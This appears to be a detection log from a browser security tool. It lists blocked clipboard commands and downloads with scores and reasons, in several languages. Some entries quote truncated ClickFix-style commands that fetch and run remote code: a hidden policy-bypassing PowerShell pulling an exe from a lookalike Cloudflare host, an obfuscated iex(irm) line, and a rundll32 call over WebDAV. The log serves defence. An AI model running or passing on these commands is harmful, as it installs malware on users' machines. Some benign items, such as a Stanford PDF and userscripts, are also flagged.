| 2026-06-26T07:47:53+00:00 | merkantalolol.asia | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "powershell -NoP -w h -ep bypass -c "$h='cdn-72b44f.cloudflareinsight.com';$n='6889419e.exe';$u='https://'+$h+'/verify';$f=$env:TEMP+'\'+$n;$w=New-Object Net...." Fragmento detectado: "Runtime verdict: suspicious (45/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Fragmento detectado: "Runtime reason: Brand mismatch: mentions cloudflare but host is merkantalolol.asia." Portapapeles bloqueado: "powershell -NoP -w h -ep bypass -c "$h='cdn-72b44f.cloudflareinsight.com';$n='6889419e.exe';$u='https://'+$h+'/verify';$f=$env:TEMP+'\'+$n;$w=New-Object Net...." Puntuación de confianza: 53/100 | pending |
| 2026-06-26T07:43:00+00:00 | www.gielle-service.it | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$global:cfChallenge="challenge.cloudflare.com";$global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4..." Fragmento detectado: "Runtime verdict: suspicious (43/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Fragmento detectado: "Runtime reason: Brand mismatch: mentions cloudflare but host is www.gielle-service.it." Portapapeles bloqueado: "$global:cfChallenge="challenge.cloudflare.com";$global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4..." Puntuación de confianza: 50/100 | pending |
| 2026-06-26T07:31:02+00:00 | goonholon.co.il | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$global:cfChallenge="challenge.cloudflare.com";$global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4..." Fragmento detectado: "Runtime verdict: suspicious (43/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Fragmento detectado: "Runtime reason: Brand mismatch: mentions cloudflare but host is goonholon.co.il." Portapapeles bloqueado: "$global:cfChallenge="challenge.cloudflare.com";$global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4..." Puntuación de confianza: 51/100 | pending |
| 2026-06-26T07:31:02+00:00 | she-explores.com | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$global:cfChallenge="challenge.cloudflare.com";$global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4..." Fragmento detectado: "Runtime verdict: suspicious (43/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Fragmento detectado: "Runtime reason: Brand mismatch: mentions cloudflare but host is she-explores.com." Portapapeles bloqueado: "$global:cfChallenge="challenge.cloudflare.com";$global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4..." Puntuación de confianza: 55/100 | pending |
| 2026-06-26T07:31:02+00:00 | she-explores.com | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$global:cfChallenge="challenge.cloudflare.com";$global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4..." Fragmento detectado: "Runtime verdict: suspicious (43/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Fragmento detectado: "Runtime reason: Brand mismatch: mentions cloudflare but host is she-explores.com." Portapapeles bloqueado: "$global:cfChallenge="challenge.cloudflare.com";$global:challengeHash="e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4..." Puntuación de confianza: 50/100 | pending |
| 2026-06-26T07:31:02+00:00 | pecon.com.sg | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Fragmento detectado: "forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/Tedy324/Te..." Fragmento detectado: "Runtime verdict: low (35/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/Tedy324/Te..." Puntuación de confianza: 53/100 | pending |
| 2026-06-25T06:55:33+00:00 | gwdknt.dhw.co.jp | - | 疑わしいコマンドパターンを検出しました。 難読化またはエンコードされたコマンド内容を検出しました。 検出された抜粋: "Non-HTML content probe (text/html; charset=utf-8)" 検出された抜粋: "Filename: appsuite.exe" 検出された抜粋: "Extension: .exe" 検出された抜粋: "Blocked extension: .exe" 検出された抜粋: "Unfamiliar download host: gwdknt.dhw.co.jp" 検出された抜粋: "Runtime verdict: low (28/100)" 検出された抜粋: "Models URL:0 Content:18 Reputation:0 Brand:10 Vision:0" 検出された抜粋: "Runtime reason: Command execution pattern found." 検出された抜粋: "Runtime reason: Obfuscation/evasion pattern found." 検出された抜粋: "Runtime reason: Brand mismatch: mentions apple but host is gwdknt.dhw.co.jp." 信頼スコア: 34/100 | pending |
| 2026-06-25T06:55:32+00:00 | gwdknt.dhw.co.jp | - | 疑わしいコマンドパターンを検出しました。 難読化またはエンコードされたコマンド内容を検出しました。 検出された抜粋: "Non-HTML content probe (text/html; charset=utf-8)" 検出された抜粋: "Filename: appsuite.exe" 検出された抜粋: "Extension: .exe" 検出された抜粋: "Blocked extension: .exe" 検出された抜粋: "Unfamiliar download host: gwdknt.dhw.co.jp" 検出された抜粋: "Runtime verdict: low (28/100)" 検出された抜粋: "Models URL:0 Content:18 Reputation:0 Brand:10 Vision:0" 検出された抜粋: "Runtime reason: Command execution pattern found." 検出された抜粋: "Runtime reason: Obfuscation/evasion pattern found." 検出された抜粋: "Runtime reason: Brand mismatch: mentions apple but host is gwdknt.dhw.co.jp." 信頼スコア: 32/100 | pending |
| 2026-06-18T11:35:37+00:00 | update.greasyfork.org | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: Bilibili 免登录试用 1080P 最高画质、防自动暂停与拦截登录弹窗.user.js” 检测片段：“Blocked extension: .js” 检测片段：“Unfamiliar download host: update.greasyfork.org” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: Bilibili 免登录试用 1080P 最高画质、防自动暂停与拦截登录弹窗.user.js” 检测片段：“Runtime reason: Blocked extension: .js” 检测片段：“Runtime reason: Unfamiliar download host: update.greasyfork.org” 置信度：53/100 | pending |
| 2026-06-18T11:35:36+00:00 | update.greasyfork.org | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: Facebook Login Wall Remover.user.js” 检测片段：“Blocked extension: .js” 检测片段：“Unfamiliar download host: update.greasyfork.org” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: Facebook Login Wall Remover.user.js” 检测片段：“Runtime reason: Blocked extension: .js” 检测片段：“Runtime reason: Unfamiliar download host: update.greasyfork.org” 置信度：53/100 | pending |
| 2026-06-18T11:35:36+00:00 | update.greasyfork.org | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: 抖音免登录，去除登录相关组件，无水印下载视频.user.js” 检测片段：“Blocked extension: .js” 检测片段：“Unfamiliar download host: update.greasyfork.org” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: 抖音免登录，去除登录相关组件，无水印下载视频.user.js” 检测片段：“Runtime reason: Blocked extension: .js” 检测片段：“Runtime reason: Unfamiliar download host: update.greasyfork.org” 置信度：53/100 | pending |
| 2026-06-18T11:35:36+00:00 | unlock.icmp.ing | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: download_test.ps1” 检测片段：“Blocked extension: .ps1” 检测片段：“Unfamiliar download host: unlock.icmp.ing” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: download_test.ps1” 检测片段：“Runtime reason: Blocked extension: .ps1” 检测片段：“Runtime reason: Unfamiliar download host: unlock.icmp.ing” 置信度：53/100 | pending |
| 2026-06-18T13:33:28+00:00 | unlock.icmp.ing | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: download_migrate.ps1” 检测片段：“Blocked extension: .ps1” 检测片段：“Unfamiliar download host: unlock.icmp.ing” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: download_migrate.ps1” 检测片段：“Runtime reason: Blocked extension: .ps1” 检测片段：“Runtime reason: Unfamiliar download host: unlock.icmp.ing” 置信度：53/100 | pending |
| 2026-06-18T13:33:28+00:00 | update.greasyfork.org | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: 微软商店加速下载.user.js” 检测片段：“Blocked extension: .js” 检测片段：“Unfamiliar download host: update.greasyfork.org” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: 微软商店加速下载.user.js” 检测片段：“Runtime reason: Blocked extension: .js” 检测片段：“Runtime reason: Unfamiliar download host: update.greasyfork.org” 置信度：53/100 | pending |
| 2026-06-18T08:47:13+00:00 | update.greasyfork.org | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: Bilibili 免登录试用 1080P 最高画质、防自动暂停与拦截登录弹窗.user.js” 检测片段：“Blocked extension: .js” 检测片段：“Unfamiliar download host: update.greasyfork.org” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: Bilibili 免登录试用 1080P 最高画质、防自动暂停与拦截登录弹窗.user.js” 检测片段：“Runtime reason: Blocked extension: .js” 检测片段：“Runtime reason: Unfamiliar download host: update.greasyfork.org” 置信度：53/100 | pending |
| 2026-06-18T08:47:13+00:00 | update.greasyfork.org | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: Facebook Login Wall Remover.user.js” 检测片段：“Blocked extension: .js” 检测片段：“Unfamiliar download host: update.greasyfork.org” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: Facebook Login Wall Remover.user.js” 检测片段：“Runtime reason: Blocked extension: .js” 检测片段：“Runtime reason: Unfamiliar download host: update.greasyfork.org” 置信度：53/100 | pending |
| 2026-06-18T08:47:12+00:00 | update.greasyfork.org | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: 抖音免登录，去除登录相关组件，无水印下载视频.user.js” 检测片段：“Blocked extension: .js” 检测片段：“Unfamiliar download host: update.greasyfork.org” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: 抖音免登录，去除登录相关组件，无水印下载视频.user.js” 检测片段：“Runtime reason: Blocked extension: .js” 检测片段：“Runtime reason: Unfamiliar download host: update.greasyfork.org” 置信度：53/100 | pending |
| 2026-06-18T08:47:12+00:00 | unlock.icmp.ing | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: download_test.ps1” 检测片段：“Blocked extension: .ps1” 检测片段：“Unfamiliar download host: unlock.icmp.ing” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: download_test.ps1” 检测片段：“Runtime reason: Blocked extension: .ps1” 检测片段：“Runtime reason: Unfamiliar download host: unlock.icmp.ing” 置信度：53/100 | pending |
| 2026-06-18T08:47:12+00:00 | unlock.icmp.ing | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: download_migrate.ps1” 检测片段：“Blocked extension: .ps1” 检测片段：“Unfamiliar download host: unlock.icmp.ing” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: download_migrate.ps1” 检测片段：“Runtime reason: Blocked extension: .ps1” 检测片段：“Runtime reason: Unfamiliar download host: unlock.icmp.ing” 置信度：53/100 | pending |
| 2026-06-18T08:47:11+00:00 | update.greasyfork.org | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: 微软商店加速下载.user.js” 检测片段：“Blocked extension: .js” 检测片段：“Unfamiliar download host: update.greasyfork.org” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: 微软商店加速下载.user.js” 检测片段：“Runtime reason: Blocked extension: .js” 检测片段：“Runtime reason: Unfamiliar download host: update.greasyfork.org” 置信度：53/100 | pending |
| 2026-06-18T06:20:42+00:00 | update.greasyfork.org | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: Facebook Login Wall Remover.user.js” 检测片段：“Blocked extension: .js” 检测片段：“Unfamiliar download host: update.greasyfork.org” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: Facebook Login Wall Remover.user.js” 检测片段：“Runtime reason: Blocked extension: .js” 检测片段：“Runtime reason: Unfamiliar download host: update.greasyfork.org” 置信度：53/100 | pending |
| 2026-06-18T06:20:43+00:00 | update.greasyfork.org | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: 抖音免登录，去除登录相关组件，无水印下载视频.user.js” 检测片段：“Blocked extension: .js” 检测片段：“Unfamiliar download host: update.greasyfork.org” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: 抖音免登录，去除登录相关组件，无水印下载视频.user.js” 检测片段：“Runtime reason: Blocked extension: .js” 检测片段：“Runtime reason: Unfamiliar download host: update.greasyfork.org” 置信度：53/100 | pending |
| 2026-06-18T06:20:42+00:00 | unlock.icmp.ing | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: download_test.ps1” 检测片段：“Blocked extension: .ps1” 检测片段：“Unfamiliar download host: unlock.icmp.ing” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: download_test.ps1” 检测片段：“Runtime reason: Blocked extension: .ps1” 检测片段：“Runtime reason: Unfamiliar download host: unlock.icmp.ing” 置信度：53/100 | pending |
| 2026-06-18T06:20:42+00:00 | unlock.icmp.ing | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: download_migrate.ps1” 检测片段：“Blocked extension: .ps1” 检测片段：“Unfamiliar download host: unlock.icmp.ing” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: download_migrate.ps1” 检测片段：“Runtime reason: Blocked extension: .ps1” 检测片段：“Runtime reason: Unfamiliar download host: unlock.icmp.ing” 置信度：53/100 | pending |
| 2026-06-18T06:20:41+00:00 | update.greasyfork.org | - | 检测到可疑命令模式。 页面要求在 CMD/PowerShell/运行中粘贴命令。 检测片段：“Unsafe download blocked: 微软商店加速下载.user.js” 检测片段：“Blocked extension: .js” 检测片段：“Unfamiliar download host: update.greasyfork.org” 检测片段：“Runtime verdict: suspicious (53/100)” 检测片段：“Models URL:0 Content:18 Reputation:0 Brand:0 Vision:0” 检测片段：“Runtime reason: Unsafe download blocked: 微软商店加速下载.user.js” 检测片段：“Runtime reason: Blocked extension: .js” 检测片段：“Runtime reason: Unfamiliar download host: update.greasyfork.org” 置信度：53/100 | pending |
| 2026-06-11T09:24:03+00:00 | github.com | - | Suspicious command detected in the clipboard. Suspicious command pattern detected. The page asks you to paste commands in CMD/PowerShell/Run. Obfuscated or encoded command content detected. Detected snippet: "wget https://github.com/smicallef/spiderfoot/archive/v4.0.tar.gz tar zxvf v4.0.tar.gz cd spiderfoot-4.0 pip3 install -r requirements.txt python3 ./sf.py -l 1..." Detected snippet: "Runtime verdict: low (35/100)" Detected snippet: "Models URL:0 Content:35 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Command execution pattern found." Detected snippet: "Runtime reason: Shell execution hint found." Detected snippet: "Runtime reason: Obfuscation/evasion pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "wget https://github.com/smicallef/spiderfoot/archive/v4.0.tar.gz tar zxvf v4.0.tar.gz cd spiderfoot-4.0 pip3 install -r requirements.txt python3 ./sf.py -l 1..." Confidence score: 70/100 | pending |
| 2026-06-10T15:18:07+00:00 | clickfix.carsonww.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. Fragmento detectado: "Hijacked Clipboard Content conhost --headless cmd /v:on /c "set a=pushd&set b=rundll32&set k=fmdasug&call !a! \\!k!.penalti.website@SSL\aed2bde1-119e-46b4-84..." Fragmento detectado: "Runtime verdict: low (19/100)" Fragmento detectado: "Models URL:0 Content:19 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "Hijacked Clipboard Content conhost --headless cmd /v:on /c "set a=pushd&set b=rundll32&set k=fmdasug&call !a! \\!k!.penalti.website@SSL\aed2bde1-119e-46b4-84..." Puntuación de confianza: 36/100 | pending |
| 2026-06-10T09:55:25+00:00 | hai.stanford.edu | - | Obfuscated or encoded command content detected. Detected snippet: "Non-HTML content probe (application/pdf)" Detected snippet: "Filename: ai_index_report_2026.pdf" Detected snippet: "Extension: .pdf" Detected snippet: "Unfamiliar download host: hai.stanford.edu" Detected snippet: "Runtime verdict: low (10/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:10 Vision:0" Detected snippet: "Runtime reason: Brand mismatch: mentions meta but host is hai.stanford.edu." Confidence score: 16/100 | pending |
| 2026-06-05T13:08:04+00:00 | www.exploretock.com | - | Detected snippet: "Non-HTML content probe (application/javascript; charset=utf-8)" Detected snippet: "Filename: tock.js" Detected snippet: "Extension: .js" Detected snippet: "Blocked extension: .js" Detected snippet: "Unfamiliar download host: www.exploretock.com" Detected snippet: "Runtime verdict: low (20/100)" Detected snippet: "Models URL:0 Content:0 Reputation:0 Brand:0 Vision:20" Detected snippet: "Runtime reason: Download risk engine classified artifact as unsafe." Confidence score: 20/100 | pending |
| 2026-06-01T17:03:02+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: before_apache_make.txt" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: before_apache_make.txt" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:02+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: agjinxwafq.txt" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: agjinxwafq.txt" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:02+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: notdhmoxaw.txt" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: notdhmoxaw.txt" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:15+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: index.php.bk" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: index.php.bk" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:02+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: htaccess.txt" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: htaccess.txt" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:16+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: harden-symlinks.patch" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: harden-symlinks.patch" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:16+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: x.gif" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: x.gif" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:16+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: wp74 (1).sql.gz" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: wp74 (1).sql.gz" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:16+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: _Thumbs.db" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: _Thumbs.db" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:16+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: IRS_SUPPORT (1).zip" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: IRS_SUPPORT (1).zip" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: wp74.sql.gz" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: wp74.sql.gz" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:03+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: punbb.sql.gz" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: punbb.sql.gz" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
| 2026-06-01T17:03:15+00:00 | socheaphost.com | REINCIDENTE DOM x40 | Fragmento detectado: "Unsafe download blocked: db.sql" Fragmento detectado: "Unfamiliar download host: socheaphost.com" Fragmento detectado: "Host matched blocklist." Fragmento detectado: "Runtime verdict: suspicious (55/100)" Fragmento detectado: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: db.sql" Fragmento detectado: "Runtime reason: Unfamiliar download host: socheaphost.com" Fragmento detectado: "Runtime reason: Host matched blocklist." Puntuación de confianza: 55/100 | pending |
